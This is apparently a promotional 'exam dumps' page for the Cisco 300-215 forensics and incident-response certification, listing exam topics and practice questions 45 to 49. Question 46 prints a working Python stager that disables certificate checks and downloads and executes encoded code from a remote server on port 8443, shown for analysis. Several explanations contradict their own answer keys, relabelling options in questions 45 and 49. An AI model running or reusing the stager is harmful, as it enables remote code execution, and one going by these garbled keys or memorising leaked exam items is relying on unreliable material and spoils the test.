

100% Pass 2026 Updated Cisco 300-215: Conducting Forensic Analysis & Incident Response Using Cisco Technologies for CyberOps Simulation Questions



Conducting Forensic Analysis and Incident Response Using Cisco Technologies for Cybersecurity v1.2 (300-215)

Exam Description: Conducting Forensic Analysis and Incident Response Using Cisco Technologies for Cybersecurity v1.2 (CBRFIR 300-215) is a 90-minute exam that is associated with the CCNP Cybersecurity Certification. This exam certifies a candidate's knowledge of forensic analysis and incident response fundamentals, techniques, and processes. The course Conducting Forensic Analysis and Incident Response Using Cisco Technologies for Cybersecurity helps candidates to prepare for this exam.

The following topics are general guidelines for the content likely to be included on the exam. However, other related topics may also appear on any specific delivery of the exam. To better reflect the contents of the exam and for clarity purposes, the guidelines below may change at any time without notice.

28%	1.0	Fundamentals
	1.1	Analyze the components needed for a root cause analysis report

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Cisco 300-215 certification exam is a challenging and highly regarded credential for IT professionals who want to specialize in conducting forensic analysis and incident response using Cisco technologies for CyberOps. To pass the exam, candidates need to have a solid understanding of Cisco security products and solutions, as well as practical experience in configuring and managing these products. Conducting Forensic Analysis & Incident Response Using Cisco Technologies for CyberOps certification can help professionals advance their careers and increase their earning potential in the IT security industry.

Understanding functional and technical aspects of Conducting Forensic Analysis and Incident Response Using Cisco CyberOps Technologies (CBRFIR) Incident Response Processes

The following will be discussed in **CISCO 300-215 Exam Dumps**:

- Evaluate elements required in an incident response playbook
- Recommend next step(s) in the process of evaluating files from endpoints and performing ad-hoc scans in a given scenario
- Evaluate the relevant components from the ThreatGrid report
- Describe the goals of incident response
- Analyze threat intelligence provided in different formats (such as, STIX and TAXII)

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Cisco Conducting Forensic Analysis & Incident Response Using Cisco

Technologies for CyberOps Sample Questions (Q45-Q50):

NEW QUESTION # 45

Refer to the exhibit.

```
<stix:Indicator id= "CISA:Indicator-18559cbf-57ce-49ba-bb73-2bdf5426744c" timestamp= "2020-04-08T00:44:39.970278+00:00" xsi:type= "indicator:IndicatorType">
<indicator:Title>Malicious FQDN Indicator</indicator:Title>
<indicator:Observable id= "CISA:Observable-dd7a25ea-830f-46cd-9d2a-d7b5aa354f89">
<cybox:Object id= "CISA:Object-a2169ad2-5273-41cb-9491-48c69b22da74">
<cybox:Properties xsi:type= "DomainNameObj:DomainNameObjectType" type= "FQDN">
<DomainNameObj:Value condition= "Equals" >Fightcovid19.shop</DomainNameObj:Value>
</cybox:Properties>
</cybox:Object>
</indicator:Observable>
</stix:Indicator>
<stix:Indicator id= "CISA:Indicator-2035a032-6b8d-4dd9-8752-7316af76e702" timestamp= "2020-04-08T00:44:39.970417+00:00" xsi:type= "indicator:IndicatorType">
<indicator:Title>Malicious FQDN Indicator</indicator:Title>
<indicator:Observable id= "CISA:Observable-463472d3-e45e-46c1-bf05-da7458cb943c">
<cybox:Object id= "CISA:Object-7728bd69-e724-4917-9550-9ae853becf28">
<cybox:Properties xsi:type= "DomainNameObj:DomainNameObjectType" type= "FQDN">
<DomainNameObj:Value condition= "Equals" >nocovid19.shop</DomainNameObj:Value>
</cybox:Properties>
</cybox:Object>
</indicator:Observable>
</stix:Indicator>
<stix:Indicator id= "CISA:Indicator-8b56999b-a015-4399-ab80-cca9bcaf7ebf" timestamp= "2020-04-08T00:44:39.970554+00:00" xsi:type= "indicator:IndicatorType">
<indicator:Title>Malicious FQDN Indicator</indicator:Title>
<indicator:Observable id= "CISA:Observable-0648e1db-aa4e-4aca-914e-ea0ccd445254">
<cybox:Object id= "CISA:Object-db21b6ca-0c1b-474d-8bf7-950ead2d9760">
<cybox:Properties xsi:type= "DomainNameObj:DomainNameObjectType" type= "FQDN">
<DomainNameObj:Value condition= "Equals" >stopcovid19.shop</DomainNameObj:Value>
</cybox:Properties>
</cybox:Object>
</indicator:Observable>
</stix:Indicator>
```

Which two actions should be taken based on the intelligence information? (Choose two.)

- A. Block network access to identified domains.
- B. Block network access to all .shop domains
- C. Route traffic from identified domains to block hole.
- D. Add a SIEM rule to alert on connections to identified domains.
- E. Use the DNS server to block hole all .shop requests.

Answer: A,D

Explanation:

The STIX intelligence feed in the exhibit identifies specific malicious domains, such as:

- * fightcovid19.shop
- * nocovid19.shop
- * stopcovid19.shop

These are categorized as "Malicious FQDN Indicator." The recommended cybersecurity actions when such threat intelligence is received are:

- * D. Block network access to identified domains: This directly prevents users or systems from communicating with known malicious infrastructure and is a critical first step in threat mitigation.
- * B. Add a SIEM rule to alert on connections to identified domains: This ensures that any attempted communication with these domains is flagged for immediate review and action, enabling real-time threat detection and incident response.

Blocking all .shop domains (Option A or C) would be overbroad and potentially disruptive, as many legitimate websites also use that TLD. Option E (routing to block hole) could be valid as a DNS strategy, but B and D represent the most actionable and precise responses per standard incident response practices.

Reference: CyberOps Technologies (CBRFIR) 300-215 study guide, Chapter on "Threat Intelligence Platforms," covering how to operationalize STIX/TAXII indicators via blocking and SIEM integration.

NEW QUESTION # 46

```
import zlib,base64,sys
vi=sys.version_info
ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=['build_opener','HTTPSHandler'])
hs=[]
if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):
    import ssl
    sc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)
    sc.check_hostname=False
    sc.verify_mode=ssl.CERT_NONE
    hs.append(ul.HTTPSHandler(0,sc))
o=ul.build_opener(*hs)
o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]
exec(zlib.decompress(base64.b64decode(o.open('https://23.1.4.14:8443/
GksRtXD-zH3ZOMwsuWEvIacs9Qe_a0ycjEJVntLltpG8hnAerO2Kcnz-JsvamPXbY-L8NHTwniYFxjfqwrH0AIG7').read())))
```

- A. Initiate a connection to 23.1.4.14 over port 8443.
- B. Open the Mozilla Firefox browser.
- C. Validate the SSL certificate for 23.1.4.14.
- D. Generate a Windows executable file.

Answer: A

Explanation:

This Python script uses a combination of libraries (urllib,zlib,base64, andssl) to:

- * Disable SSL certificate verification (ssl.CERT_NONEandcheck_hostname=False).
- * Construct a custom HTTPS opener with the specified SSL context.
- * Add a forgedUser-Agentheader to mimic Internet Explorer 11.
- * Connect to the URLhttps://23.1.4.14:8443.
- * Download and execute base64-encoded and zlib-compressed content from that URL using:
exec(zlib.decompress(base64.b64decode(...).read()))

This shows a classic example of:

- * Downloading payloads from a remote server (23.1.4.14:8443).
- * Avoiding detection by disabling SSL verification.
- * Executing the payload dynamically withexec()after decoding and decompressing.

The main goal is clearly to initiate a connection to a remote command-and-control (C2) server on port 8443 and download/execute additional code.

Hence, the correct answer is: A. Initiate a connection to 23.1.4.14 over port 8443.

NEW QUESTION # 47

A cybersecurity analyst must identify an unknown service causing high CPU on a Windows server. What tool should be used?

- A. SIFT (SANS Investigative Forensic Toolkit) for comprehensive digital forensics
- B. TCPdump to capture and analyze network packets
- C. Process Explorer from the Sysinternals Suite to monitor and examine active processes
- D. Volatility to analyze memory dumps for forensic investigation

Answer: C

Explanation:

Process Explorer is an advanced Windows-based utility that shows real-time data about running processes, CPU usage, services, DLLs, and handles. It is specifically designed for this kind of investigation and is part of the Sysinternals Suite.

NEW QUESTION # 48

What is a concern for gathering forensics evidence in public cloud environments?

- **A. Multitenancy: Evidence gathering must avoid exposure of data from other tenants.**
- B. Configuration: Implementing security zones and proper network segmentation.
- C. High Cost: Cloud service providers typically charge high fees for allowing cloud forensics.
- D. Timeliness: Gathering forensics evidence from cloud service providers typically requires substantial time.

Answer: A

NEW QUESTION # 49

An incident responder reviews a log entry that shows a Microsoft Word process initiating an outbound network connection followed by PowerShell execution with obfuscated commands. Considering the machine's role in a sensitive data department, what is the most critical action for the responder to take next to analyze this output for potential indicators of compromise?

- **A. Conduct a behavioral analysis of the PowerShell execution pattern and deobfuscate the commands to assess malicious intent.**
- B. Correlate the time of the outbound network connection with the user's activity log to establish a usage pattern.
- C. Compare the metadata of the Microsoft Word document with known templates to verify its authenticity.
- D. Examine the network destination of the outbound connection to assess the credibility and categorize the traffic.

Answer: A

Explanation:

When dealing with suspected malicious activity involving obfuscated PowerShell scripts—especially when launched from Microsoft Word documents—behavioral analysis is the most critical next step. This approach helps in determining if the process chain is part of a known attack pattern, such as a phishing attempt using malicious macros that launch PowerShell for data exfiltration or payload download.

As highlighted in the CyberOps Technologies (CBRFIR) 300-215 study guide, understanding behavior and deobfuscating PowerShell scripts is an essential part of the forensic and incident response process.

Specifically:

* During the detection and analysis phase, if PowerShell is used with obfuscated or encoded commands, responders should investigate the intent and behavior of the command.

* Deobfuscation allows analysts to see what the script is doing (e.g., downloading files, creating persistence mechanisms, or opening a reverse shell).

The guide states:

"For example, if the threat is malware, the compromised system should be immediately isolated and the malware should be placed in a sandbox or a detonation chamber to understand what it is trying to do".

This confirms that understanding execution behavior (such as what the PowerShell script intends to perform) is key to uncovering indicators of compromise (IoCs).

Thus, option C—conducting a behavioral analysis and deobfuscating PowerShell—is the most critical and effective response at this stage.

NEW QUESTION # 50

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